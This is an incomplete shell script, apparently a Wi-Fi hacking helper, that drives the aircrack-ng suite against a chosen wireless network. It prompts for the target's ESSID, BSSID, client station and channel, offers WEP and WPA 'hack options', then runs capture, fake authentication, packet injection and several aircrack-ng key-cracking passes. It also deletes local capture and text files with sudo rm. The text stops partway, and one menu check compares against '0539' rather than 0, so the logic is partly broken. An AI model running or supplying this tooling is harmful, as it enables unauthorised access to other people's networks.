#!/bin/sh ############################## chip set selection ############################## rm -r key*.* rm -r replay*.* clear #--------------------------------------------------------------------------------------------------------------------------------1. Ralink
############################## setting variable ##############################
interface=wlan0
driver=rt73usb
#adaptor=00:27:19:f3:0d:92

ifconfig $interface up
sleep 5

############################## reset adapter ###############################
ifconfig $interface down
rmmod $driver
modprobe $driver

############################## authorization ##############################
echo ""
hwaddr=$(ifconfig $interface | awk '/HWaddr/ {print $5}')
adaptor=$hwaddr
if [ $adaptor = $hwaddr ]
then

############################## remove file ##############################
clear
sudo rm *.cap
sudo rm *.txt
sudo rm *.sh~
clear
echo "Do not close this window"
echo "Ignore any error messages (bugs), system processing please wait..."

############################## airodump universal ##############################
konsole -title "TABLE 1: Write down ESSID,BSSID,STATION,CH then close this window " --noclose -e airodump-ng $interface 

############################## input ##############################
clear
echo ""
echo " _______________________________________________________________ "
echo " | |"
echo " | Step 1. Input target data |"
echo " |_______________________________________________________________|"
echo ""
read -p " ESSID 
 (case sensitive) " essid
read -p " BSSID 
 XX:XX:XX:XX:XX:XX " bssid
read -p " STATION 
 XX:XX:XX:XX:XX:XX " station
read -p " CH 
 " channel
clear
echo " _______________________________________________________________ "
echo " | |"
echo " | Step 2. Choose hack option |"
echo " |_______________________________________________________________|"
echo ""
echo " WEP (without STATION) 0 "
echo " WEP (with STATION) 1 "
echo " WPA/WPA2 (with STATION) 2 " 
echo ""
read -p " enter: 0, 1 or 2 
 " enc
clear
if [ $enc = 0539 ]
then
sudo airmon-ng start $interface $channel
sudo iwconfig $interface rate 1M
clear
echo "Do not close this window"
echo "Ignore any error messages (bugs), system processing please wait..."

############################## airodump channel ##############################
konsole -title "Airodump-do not close this window" --noclose -e airodump-ng --channel $channel --bssid $bssid --write key.cab $interface &
sleep 10

############################## authenticate ##############################
konsole -title "Authenticate-do not close this window" --noclose -e aireplay-ng -1 6000 -o 1 -q 10 -a $bssid -h $hwaddr $interface &
clear
echo "Do not close this window"
echo "Ignore any error messages (bugs), system processing please wait..."
sleep 20

############################## fragmentation ###############################
konsole -title "Scan packet, answer 'y' when asked-do not close window" --noclose -e aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b $bssid -h $hwaddr $interface &
sleep 30

############################## aircrack ##############################
### 1. ptw
 konsole -title "If unsuccessful, close this window for attempt #2" --noclose -e aircrack-ng -1 key.cab-01.cap
### 2. fudge
 konsole -title "If unsuccessful, close this window for attempt #3" --noclose -e aircrack-ng -f 3 key.cab-01.cap
### 3. 64bit 10 hexdigit
 konsole -title "If unsuccessful, close this window for attempt #4" --noclose -e aircrack-ng -n 64 key.cab-01.cap
### 4.